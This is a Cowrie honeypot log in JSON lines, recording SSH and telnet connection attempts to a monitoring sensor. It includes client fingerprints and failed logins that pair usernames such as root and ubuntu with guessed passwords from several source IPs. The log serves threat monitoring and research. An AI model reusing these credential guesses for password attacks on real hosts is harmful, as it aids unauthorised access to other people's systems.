{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":57402,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a05d938cabe","protocol":"ssh","message":"New connection: 88.147.30.59:57402 (10.17.0.5:22) [session: 2a05d938cabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:15.940602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:15.945964Z","src_ip":"88.147.30.59","session":"2a05d938cabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:16.061228Z","src_ip":"88.147.30.59","session":"2a05d938cabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:16.138464Z","src_ip":"103.25.47.94","session":"90784c3c4364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:16.545919Z","src_ip":"88.147.30.59","session":"2a05d938cabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"33af4fe70e1e","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: 33af4fe70e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:17.111742Z"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:17.185626Z","src_ip":"103.25.47.94","session":"90784c3c4364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:17.205118Z","src_ip":"64.89.160.135","session":"33af4fe70e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:17.661139Z","src_ip":"88.147.30.59","session":"2a05d938cabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:18.442503Z","src_ip":"103.25.47.94","session":"90784c3c4364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www12345","message":"login attempt [root/www12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:19.644792Z","src_ip":"213.209.159.158","session":"d5a89bcde768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:21.899038Z","src_ip":"213.209.159.158","session":"d5a89bcde768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c88abd84b175","protocol":"ssh","message":"New connection: 213.209.159.158:24122 (10.17.0.5:22) [session: c88abd84b175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:22.007509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:23.188917Z","src_ip":"213.209.159.158","session":"c88abd84b175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:23.195251Z","src_ip":"213.209.159.158","session":"c88abd84b175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43496,"dst_ip":"159.203.135.109","dst_port":23,"session":"4098c29b4055","protocol":"telnet","message":"New connection: 69.4.83.194:43496 (159.203.135.109:23) [session: 4098c29b4055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:23.348611Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36342,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eab3e623692","protocol":"ssh","message":"New connection: 193.37.70.224:36342 (159.203.135.109:22) [session: 8eab3e623692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:26.042794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:26.047404Z","src_ip":"193.37.70.224","session":"8eab3e623692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:26.132921Z","src_ip":"193.37.70.224","session":"8eab3e623692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13031985","message":"login attempt [root/13031985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:26.383037Z","src_ip":"193.37.70.224","session":"8eab3e623692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:27.469637Z","src_ip":"193.37.70.224","session":"8eab3e623692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatthefuck","message":"login attempt [root/whatthefuck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:28.511341Z","src_ip":"213.209.159.158","session":"c88abd84b175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:30.742594Z","src_ip":"213.209.159.158","session":"c88abd84b175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8984,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3b6b3f469a1","protocol":"ssh","message":"New connection: 213.209.159.158:8984 (10.17.0.5:22) [session: b3b6b3f469a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:30.822364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:31.913097Z","src_ip":"213.209.159.158","session":"b3b6b3f469a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:31.917645Z","src_ip":"213.209.159.158","session":"b3b6b3f469a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.91650676727295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:33.107254Z","src_ip":"69.4.83.194","session":"8ae39a863c94","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangxu123","message":"login attempt [root/wangxu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:37.623512Z","src_ip":"213.209.159.158","session":"b3b6b3f469a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.0320348739624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:39.581394Z","src_ip":"69.4.83.194","session":"5540fdf567a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:39.851753Z","src_ip":"213.209.159.158","session":"b3b6b3f469a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34494,"dst_ip":"10.17.0.5","dst_port":22,"session":"9522964d4cb5","protocol":"ssh","message":"New connection: 213.209.159.158:34494 (10.17.0.5:22) [session: 9522964d4cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:39.949644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:41.074551Z","src_ip":"213.209.159.158","session":"9522964d4cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:41.078475Z","src_ip":"213.209.159.158","session":"9522964d4cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42454,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ab1a69926b2","protocol":"ssh","message":"New connection: 87.251.79.125:42454 (10.17.0.5:22) [session: 8ab1a69926b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:43.740912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:43.745142Z","src_ip":"87.251.79.125","session":"8ab1a69926b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:43.816211Z","src_ip":"87.251.79.125","session":"8ab1a69926b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shorty","message":"login attempt [root/shorty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:44.030128Z","src_ip":"87.251.79.125","session":"8ab1a69926b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:45.103709Z","src_ip":"87.251.79.125","session":"8ab1a69926b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wcx!","message":"login attempt [root/wcx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:46.518422Z","src_ip":"213.209.159.158","session":"9522964d4cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:48.800124Z","src_ip":"213.209.159.158","session":"9522964d4cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6012,"dst_ip":"10.17.0.5","dst_port":22,"session":"d97e63c13ff6","protocol":"ssh","message":"New connection: 213.209.159.158:6012 (10.17.0.5:22) [session: d97e63c13ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:48.889084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:50.363487Z","src_ip":"213.209.159.158","session":"d97e63c13ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:50.367219Z","src_ip":"213.209.159.158","session":"d97e63c13ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatsup1","message":"login attempt [root/whatsup1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:55.642231Z","src_ip":"213.209.159.158","session":"d97e63c13ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.42991518974304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:56.778241Z","src_ip":"69.4.83.194","session":"4098c29b4055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:57.889710Z","src_ip":"213.209.159.158","session":"d97e63c13ff6","protocol":"ssh"}
